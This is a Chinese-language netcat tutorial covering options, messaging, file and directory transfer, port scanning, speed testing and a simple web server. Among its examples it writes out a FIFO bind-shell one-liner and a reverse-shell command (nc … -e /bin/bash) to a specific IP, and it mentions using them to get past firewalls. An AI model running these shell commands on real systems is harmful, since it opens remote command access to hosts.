# 命令简介
nc(netcat)是一个短小精悍、功能实用、简单可靠的网络工具,主要有如下作用: (1)端口侦听,nc 可以作为 server 以 TCP 或 UDP 方式侦听指定端口; (2)端口扫描,nc 可以作为 client 发起 TCP 或 UDP 请求; (3)机器之间传输文件; (4)机器之间网络测速。
nc 实际上是 ncat 的软链接。ncat 是为 Nmap(Network Mapper) 项目编写的,是 Nmap 套件中的一员,它旨在成为可靠的后端工具,可立即为其他应用程序和用户提供网络连接。ncat 不仅可以使用 IPv4 和 IPv6,还可以为用户提供几乎无限的潜在用途。
# 命令格式
nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [hostname] [port[s]]
# 参数说明
-4/6
强制只使用 IPv4/IPv6 地址
-D
在套接字上启用调试
-d
不从 stdin 读取
-h
打印出帮助信息
-k
强制 nc 在当前连接完成后继续侦听另一个连接。注意如果不使用 -l 选项,则使用此选项是错误的
-l
指定 nc 应该侦听传入的连接,而不是启动到远程主机的连接。将此选项与 -p、-s 或 -z 选项结合使用是错误的。此外,使用 -w 选项指定的超时将被忽略
-n
不要在任何指定的地址、主机名或端口上执行任何 DNS 或服务查找
-r
随机选择源端口和目标端口,而不是按照系统分配的顺序或范围内的顺序选择它们
-S
启用 RFC 2385 TCP MD5 签名选项
-t
使 nc 发送 RFC 854 DON'T 和 WON'T 响应 RFC 854 的 DO 和 WILL 请求。这使得使用 nc 编写 telnet 会话脚本成为可能
-U
指定使用 Unix 域套接字
-u
使用 UDP 代替默认选项 TCP
-v
显示命令执行过程
-z
表示 zero,只扫描侦听守护进程,而不向它们发送任何数据。此选项与 -l 选项结合使用是错误的
-C
发送 CRLF 作为换行符
-i interval
指定发送和接收的文本之间的延迟时间间隔。还可指定连接到多个端口之间的延迟时间
-p source_port
指定 nc 应使用的源端口,但须受特权限制和可用性限制。将此选项与 -l 选项结合使用是错误的
-s source_ip_address
设置本地主机送出数据包的 IP 地址。注意将此选项与 -l 选项结合使用是错误的
-T ToS
指定连接的 IP 服务类型(TOS)。有效值是标记 ''lowdelay'', ''throughput'', ''reliability'',或以 0x 开头的 8 位十六进制值
-w timeout
如果连接和 stdin 空闲超过指定秒数,则连接将被关闭。-w 标志对 -l 选项没有影响。缺省不超时
-X proxy_protocol
请求 nc 在与代理服务器对话时使用指定的协议。支持的协议是 “4”(SOCKsv.4)、“5”(SOCKV.5) 和 “connect”(HTTPS proxy)。如果未指定协议,则使用 SOCKS v.5
-x proxy_address[:port]
使用指定代理服务器地址和端口连接到主机。如果未指定端口,则使用代理协议的已知端口(SOCKS为1080,HTTPS为3128)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
nc 的控制参数不少,常用的几个参数如下所列
-l
指定 nc 将处于侦听模式。指定该参数,则意味着 nc 被当作 server,侦听并接受连接,而非向其它地址发起连接
-p PORT
指定 nc 使用的源端口
-s
指定发送数据的源 IP 地址,适用于多网卡机器
-u
指定 nc 使用 UDP 协议,默认为 TCP
-v
输出交互或出错信息,新手调试时尤为有用
-w
超时秒数,后面跟数字
-z
表示 zero,扫描时不发送任何数据
2
3
4
5
6
7
8
9
10
11
12
13
14
# 常用示例
# 相互发消息(C/S模型)
用nc能够非常简单地建立一个基本的C/S模型。 打开控制台,在某个端口上启动nc监听,等待连接。例如,nc在端口1234上启动监听,等待连接:
# 可以认为是服务器端
nc -l 10001
2
在另外一个控制台上(或另外一台机器上),连接该机器上监听的端口
# 可以认为是客户端
nc 110.40.137.191 10001
2
现在,端口之间的连接就建立了。连接建立之后,nc并不区分谁是server,谁是client。 Linux中的nc没有-c或-e选项(可能是安全因素),但是,你仍然能够通过重定向文件描述符在建立连接之后执行命令。注意,打开一个端口,让任何人连接并在你的机器上执行任意命令是危险的。如果你需要这样做,下面有个例子:
在server端:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 10001 > /tmp/f
2
在client端:
nc 110.40.137.191 10001
(shell prompt from host.example.com)
2
通过创建一个FIFO文件/tmp/f,让nc在server端127.0.0.1的端口1234上监听,当一个client成功连接之后,/bin/sh在服务端执行,但执行反馈传送给client端。 当连接中断后,nc也退出。如果要保持连接,使用-k选项,但是如果命令退出,这个选项也不会重启它或保持nc运行。如果不再需要,不要忘记删除该文件描述符。
rm -f /tmp/f
如果发送失败,可以杀掉相关进程然后重新连接。使用kill -9 $(lsof -i:10001 -t)
# 文件传输
上面的例子可以扩展来建立一个基本的数据传输模型。在连接的一端输入的任何信息将输出到另一端,输入和输出能够很容易被捕捉来模拟文件传输。 nc在一个端口上启动监听,并将输出重定向到一个文件中,当文件传输完毕后,连接自动关闭。
- 从 Server 到 Client Server
nc -l 10001 > filename.out
在另一台机器上,连接nc运行的机器和监听端口,将要传输的文件作为输入:
Client
nc 110.40.137.191 10001 < filename.in
- 从 Client 到 Server
Server
nc -l 10001 < filename.in
Client
nc 110.40.137.191 10001 > filename.out
# 端口扫描
端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。
nc -z -v -n 110.40.137.191 21-25 5432
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换. v 参数指详细输出. n 参数告诉netcat 不要使用DNS反向查询IP地址的域名. 以上命令会打印21到25和5432 所有开放的端口
只希望将开放端口的行打印出来,可以用 grep
nc -z -v -n 110.40.137.191 21-25 2>&1 |grep succeeded
# 目录传输
发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。
- 从 Server 到 Client
- Server
tar -czvf – testdir | nc -l 10001
在另一台机器上,连接nc运行的机器和监听端口,将要传输的文件作为输入:
- Client
nc 110.40.137.191 10001 | tar -xvf -
这里在Server上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。 在客户端我们下载该压缩包通过netcat 管道然后打开文件。 如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩
- Server
tar -czvf – testdir | bzip2 -z | nc -l 10001
通过bzip2压缩
2
- Client
nc 110.40.137.191 10001 | bzip2 -d |tar -xvf -
# 测试网速
测试网速其实利用了传输文件的原理,就是把来自一台机器的 /dev/zero 发送给另一台机器的 /dev/null 就是把一台机器的无限个 0,传输给另一个机器的空设备上,然后新开一个窗口使用 dstat 命令监测网速 在这之前需要保证机器先安装 dstat 工具。
sudo apt install dstat
第 1 步,在 A 机器先启动接收数据的命令,监听自己的 8888 端口,把来自这个端口的数据都输出给空设备(这样不写磁盘,测试网速更准确)。
nc -l 10001 > /dev/null
第 2 步,在 B 机器发送数据,把无限个 0 发送给 A 机器的 8888 端口。
nc 110.40.137.191 10001 < /dev/zero
如果是在同一台机器发送数据,即:
nc 127.0.0.1 10001 < /dev/zero
那么 receiver 将无法收到数据
# 加密你通过网络发送的数据
如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。
- Server
nc localhost 20000 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。
- Client
mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 20000
使用mcrypt工具解密数据。 以上两个命令会提示需要密码,确保两端使用相同的密码。 这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。
# 打开一个shell
- Server
rm -f /tmp/f && mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 10001 > /tmp/f
2
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口20000上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明: 从网络收到的输入写到fifo文件中 cat 命令读取fifo文件并且其内容发送给sh命令 sh命令进程受到输入并把它写回到netcat。 netcat 通过网络发送输出到client 至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。 在客户端仅仅简单连接到服务器
Client
nc 110.40.137.191 10001
(shell prompt from host.example.com)
2
你会得到一个shell提示符在客户端
# 反向shell
反向shell又称反弹shell,是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。
- Server
nc -l 10001
在客户端,简单地告诉netcat在连接完成后,执行shell。
- Client
nc 110.40.137.191 10001 -e /bin/bash
现在,什么是反向shell的特别之处呢 反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为192.168.10.1,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。
# 指定源端口
假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。
- Server
nc -l 10001
- Client
nc 110.40.137.191 10001 25
使用1024以内的端口需要root权限。 该命令将在客户端开启25端口用于通讯,否则将使用随机端口。
# 指定源地址
- Server
nc -u -l 20000 < file.txt
- Client
nc -u 110.40.137.191 10001 -s 172.31.100.5 > file.txt
# 静态web页面服务器
新建一个网页,命名为somepage.html; 新建一个shell script:
while true; do
nc -l 80 -q 1 < somepage.html;
done
2
3
用root权限执行,然后在浏览器中输入127.0.0.1打开看看是否正确运行。 nc 指令通常都是给管理者进行除错或测试等动作用的,所以如果只是单纯需要临时的网页伺服器,使用 Python 的 SimpleHTTPServer 模组会比较方便。
# Netcat支持IPv6
- Server
nc -4 -l 2389
- Client
nc -4 localhost 2389
然后我们可以使用 netstat 命令来查看网络的情况。
接下来我们看看IPv6 的情况:
- Server
nc -6 -l 2389
- Client
nc -6 localhost 2389
# 禁止从标准输入中读取数据
该功能使用 -d 参数,请看下面例子:
- Server
nc -l 2389
- Client
nc -d localhost 2389
Hi
2
你输入的 Hi 文本并不会送到服务器端。
# 强制 Netcat 服务器端保持启动状态
如果连接到服务器的客户端断开连接,那么服务器端也会跟着退出。
- Server
$ nc -l 2389
Client
$ nc localhost 2389
^C
2
上述例子中,但客户端断开时服务器端也立即退出。 我们可以通过 -k 参数来控制让服务器不会因为客户端的断开连接而退出。
- Server
$ nc -k -l 2389
- Client
$ nc localhost 2389
^C
2